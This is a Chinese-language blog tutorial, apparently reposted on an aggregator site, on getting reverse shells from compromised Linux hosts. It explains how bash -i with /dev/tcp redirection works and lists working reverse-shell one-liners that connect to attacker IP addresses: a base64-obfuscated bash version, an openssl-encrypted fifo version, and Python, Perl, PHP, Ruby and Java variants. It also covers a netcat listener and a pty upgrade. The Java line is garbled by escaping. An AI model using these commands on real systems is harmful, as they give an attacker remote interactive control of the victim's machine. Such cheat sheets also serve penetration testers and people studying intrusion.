Linux反弹shell学习

Posted paidx0

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux反弹shell学习相关的知识,希望对你有一定的参考价值。

前言

当我们可以在远程Linux主机上执行任意命令或写入任意的数据到任意的文件的时候
通常会通过反弹一个shell 来控制远程主机

bash 反弹shell

Linux反弹shell使用这条命令,但反弹回来的shell是不可交互的
bash -i >& /dev/tcp/10.10.10.134/2333 0>&1
也可以{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjI3LzQ0NDQgMD4mMSA=}|{base64,-d}|{bash,-i}

客户端用netcat 进行接收
nc -lvvp 2333 监听2333端口

使用什么样的用户反弹的shell,就是当前用户的权限(只有拥有/bin/bash 的用户才能够使用该命令)

命令原理

首先 bash -i 是打开一个交互式的bash终端
/dev/tcp/ 是linux的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

那么>&0>&1 又是什么意思呢?

首先我们了解一下Linux文件描述符和重定向。
linux shell下常用的文件描述符是:
标准输入 (stdin) :代码为 0 ,使用 < 或 <<
标准输出 (stdout):代码为 1 ,使用 > 或 >>
标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

然后发现 >&&> 两者一个意思,都是将标准错误输出合并到标准输出中。

如果我们执行一个命令,比如 ls -lh > test ,这样的话,test文件中只会保存我们执行这个命令正常的输出结果
而如果我们执行命令 ls -lh >& test 或者 ls -lh &> test ,这样的话,test文件中既会保存我们执行这个命令正常的结果,也会保存我们执行这个命令出错了的结果。

所以,当我们执行命令:bash -i >& /dev/tcp/10.10.10.134/2333 时,他会与10.10.10.134/2333号端口建立一个socket连接,把bash的标准输出和标准错误输出发给10.10.10.134/2333。也就是获得了他的shell,但是10.10.10.134却不能进行操作。

同理0>&10<&1 也是一个意思,都是将标准输入重定向到标准输出中。所以加入 0>&1 的话,就可以接受用户的输入了。

所以,结合上面的:bash -i >& /dev/tcp/10.10.10.134/2333 0>&1 命令是意思是:与10.10.10.134/2333端口建立一个socket连接,把bash的标准输出和标准错误输出发给10.10.10.134/2333。并且可以接受输入,也就是可以进行交互式操作

但是更多时候获得的shell并不是一个具有完整的交互shell

如果目标的主机有python环境,我们在获得反弹shell后,可以执行这个命令得到一个正常可交互的shell
python -c 'import pty;pty.spawn("/bin/bash")'

加密bash反弹shell

在攻击机上生成SSL证书的公钥私钥对,一路回车
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

然后用openssl监听反弹shell
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

目标机用openssl加密反弹shell的流量
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.10.136:4444 > /tmp/s;rm /tmp/s

其他反弹shell

同样是只有拥有/bin/bash的用户才能使用,使用什么样的用户反弹什么权限

Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.10.25”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);’

Perl
perl -e ‘use Socket;$i=“192.168.10.13”;$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

php
php -r ‘$sock=fsockopen(“192.168.10.13”,8888);exec("/bin/sh -i <&3>&3 2>&3");’

Ruby
ruby -rsocket -e’f=TCPSocket.open(“192.168.10.13”,8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)’

Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/192.168.10.13/8888;cat <&5 2=”" |="" while="" read="" line;="" do="" $line="">&5 >&5; done"] as String[]) p.waitFor()

以上是关于Linux反弹shell学习的主要内容,如果未能解决你的问题,请参考以下文章

Linux下shell反弹

从一道题学习反弹shell

Windows/Linux 下反弹shell

Windows/Linux 下反弹shell

Linux/Windows反弹shell

五步定位linux反弹shell